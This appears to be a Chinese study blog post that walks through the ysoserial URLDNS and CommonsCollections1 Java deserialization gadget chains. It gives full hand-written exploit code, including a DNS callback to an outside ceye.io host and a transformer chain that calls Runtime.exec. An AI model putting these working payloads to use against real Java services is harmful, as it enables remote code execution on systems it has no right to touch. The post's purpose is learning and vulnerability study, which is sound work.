java反序列化-ysoserial-調試分析總結篇(1)


前言:

ysoserial很強大,花時間好好研究研究其中的利用鏈對於了解java語言的一些特性很有幫助,也方便打好學習java安全的基礎,剛學反序列化時就分析過commoncollections,但是是跟着網上教程,自己理解也不夠充分,現在重新根據自己的調試進行理解,這篇文章先分析URLDNS和commonCollections1

利用鏈分析:

1.urldns

 

調用鏈如上圖所示,由hashmap的key進行hash計算時,如果key為URL類的對象,則調用key.hashcode實際為調用了URL類對象的hashcode,從而觸發dns解析,這個手寫exp也比較容易,設置hashCode為1為了putval時候重新計算hash,否則直接返回hashCode就觸發不了dns解析了

到這里將觸發調用URL類的hashCode

 

exp.java:

package URLDNS;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Arrays;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL, String> obj = new HashMap<URL, String>();
        String url = "http://p9tdlo.ceye.io";
        URL a_url = new URL(url);
        Class clazz = Class.forName("java.net.URL");
        Field field = null;
        field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        //field.set(a_url,-1); 放在這里有問題,具體問題自己debug
        obj.put(a_url,"tr1ple");
field.set(a_url,-1);
// //序列化 // FileOutputStream fo = new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/urldns.ser"); ObjectOutputStream obj_out = new ObjectOutputStream(fo); obj_out.writeObject(obj); obj_out.close(); ByteArrayOutputStream bo = new ByteArrayOutputStream(); ObjectOutputStream bo_obj = new ObjectOutputStream(bo); bo_obj.writeObject(obj); bo_obj.close(); String bo_str = Arrays.toString(bo.toByteArray()); System.out.println("serialize byte code"); System.out.println(bo_str); } }

read.java

package URLDNS;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class ReadObj {
    public static void  main(String[] args) throws IOException, ClassNotFoundException {
   // System.out.println(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/4.ser");
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/urldns.ser"));
        o.readObject();

    }
}

2.commonCollections1

 調用鏈如上圖所示

 反序列化首先從invokecationhandler的readObject開始

 然后調用lazymap的readObject

這里是因為構造payload的時候,實際上將proxy.newinstance創建的proxy代理類傳進handler,那么實際上反序列化的時候根據序列化數據的排列順序,應該首先調用外層invokecationhandler的readObject,然后調用內部成員變量的readObject

 原因正是在反序列化正常的流程中,defaultReadFields方法,讀取序列化數據,其入口參數即外部的對象,以及該對象的類

 在該函數內部將讀取外層對象的域,並依次將其反序列化,所以這里實際上invocationhandler只是一個容器作用,將實際要反序列化的代理proxy放進去,然后就會調用proxy的readObject(),然后恢復代理的lazpmap,包括后面還要進行hashmap的readObject(lazymap作為容器將其裝進去),恢復hashmap

 將所有對象還原后,在invokecationhandler的readObject中將調用memerValues.entrySet,而我們知道被裝進容器的是被代理的lazymap類,此時調用proxy代理的entrySet,那么此時將觸發代理類的invoke函數

 此時將handler中不存在entryset,此時將調用lazymap.get(“entrySet”)

 在get函數中將調用this.factory.transform,而此時this.factory為定義的用於執行命令的轉換鏈

在chained轉換鏈中,將循環調用屬性iTranformers中的transformer方法

 第一次:

第一次調用ConstantTransformer類,將直接返回iConstant

 

 而此時即返回類Runtime

第二次: 

第二次循環進來即調用invokeTransformer來反射調用方法,並且返回object,並且這里面的方法名,和參數都是可控的,因此才能夠在這里定義rce的命令,能夠找到這種能夠利用的類真的是牛逼。。

 

 那么反射先拿到java.lang.class ,按道理拿到類Runtime,就可以直接反射getRunme方法,這里拿到getMethod方法,然后再反射調用Runtime的getMethod拿到getRuntime方法

第三次:

 這里實際上就是反射調用getRuntime了,此時將返回Runtime類的實例

第4輪:

此時已經有了Runtime類的實例,就可以調用exec執行命令了

 此時將RCE執行clac.exe

 

 

了解完整個觸發以及調用過程就可以手寫exp了,方便加深對該利用鏈的認識

手寫exp:

 exp.java

package CommonsCollections1;
import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.Runtime;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
//import sun.reflect.annotation.AnnotationInvocationHandler;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class exp {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
      final Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                        ),//拿到getruntime方法
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),//拿到runtime類
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc.exe"})//rce
      };

      final Transformer chained = new ChainedTransformer(trans);
      final Map innerMap = new HashMap();
      final Map outMap = LazyMap.decorate(innerMap,chained);

      final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
      han_con.setAccessible(true);
      InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap);

      final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han);


      final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
      out_con.setAccessible(true);
      InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy);

      FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"));
      ObjectOutputStream obj = new ObjectOutputStream(fo);
      obj.writeObject(out);
      obj.close();
    }
}

readObj.java

package CommonsCollections1;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.Runtime;

//jdk<=8u71
//
public class readObj {
    public static void main(String[] args) throws IOException {
        FileInputStream fi = new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser");
        ObjectInputStream  obj_in = new ObjectInputStream(fi);
        try {
            obj_in.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM